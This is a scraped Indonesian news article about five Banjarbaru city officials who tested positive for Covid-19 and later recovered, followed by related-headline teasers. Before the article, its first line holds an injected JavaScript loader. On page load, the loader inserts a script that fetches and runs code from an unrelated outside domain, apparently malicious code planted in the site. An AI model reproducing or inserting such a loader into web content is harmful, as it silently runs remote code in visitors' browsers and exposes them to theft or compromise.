(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMAMTAN.COM, BANJARBARU – Selain almarhum Wali Kota Banjarbaru Nadjmi Adhani, lima pejabat di lingkungan Pemerintah Kota (Pemko) Banjarbaru dinyatakan terkonfirmasi positif Covid-19.
Mereka adalah Sekretaris Daerah (Sekda) Kota Banjarbaru H Said Abdullah, Kepala Badan Perencanaan Pembangunan Daerah (Bappeda) Banjarbaru Kanafi, Kepala Badan Pengelolaan Keuangan dan Aset (BPKAD) Banjarbaru Jainudin, Kepala Bagian Hukum Pemko Banjarbaru Gugus dan Kepala Badan Kepegawaian Pendidikan dan Pelatihan (BKPP) Sri Lailana.
Para pejabat tinggi di Pemko Banjarbaru ini membuat aktivitas layanan publik di perkantoran pemerintah sempat ditutup sementara waktu. Terlebih, kejadian ini memunculkan potensi terjadi penyebaran virus di lingkungan perkantoran atau disebut klaster perkantoran.
Rabu (12/8/2020) siang, Pemko Banjarbaru mengumumkan kabar terbaru para pejabat yang terpapar virus. Dalam hal ini, Sekretaris Daerah Kota Banjarbaru Said Abdullah mengklaim bahwa dirinya bersama dengan pejabat lainnya telah dinyatakan sembuh.
“Alhamdulillah, setelah menjalani karantina, hasil tes swab terbaru kami dinyatakan negatif Covid-19. Saat ini kami sudah mulai beraktivitas kembali dan melayani masyarakat,” ujarnya.
Said Abdullah memastikan roda pemerintahan Pemko Banjarbaru juga tetap akan berjalan, meskipun Wali Kota tiada. Dirinya berharap masyarakat terus mengingat akan pentingnya protokol kesehatan Covid-19 saat beraktivitas di luar rumah.
“Insyaallah, (pemerintahan) Banjarbaru tetap berjalan,” ujarnya.
Sempat dinyatakan terpapar Covid-19 pada Juli lalu, kelima pejabat Pemko Banjarbaru menjalani karantina di gedung Lembaga Penjaminan Mutu Pendidikan (LPMP), maupun isolasi mandiri di rumah masing-masing di bawah pengawasan Dinas Kesehatan (Dinkes).
Memang saat itu, kondisi mereka dinyatakan stabil atau diistilahkan OTG – orang tanpa gejala-. Ihwal mengapa mereka bisa terpapar, Wakil Wali Kota Banjarbaru Darmawan Jaya Setiawan, menduga lantaran padatnya aktivitas berinteraksi dengan banyak orang. Ia juga telah meminta pihak Dinkes untuk melakukan penelusuran, terhadap orang-orang yang kontak erat dengan kelima pejabat tersebut.
“Kita ingin melihat dimana kemungkinan terpaparnya, dengan melihat riwayat aktivitas dan perjalanan dinas kelima pejabat kita,” tuturnya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
This website uses cookies.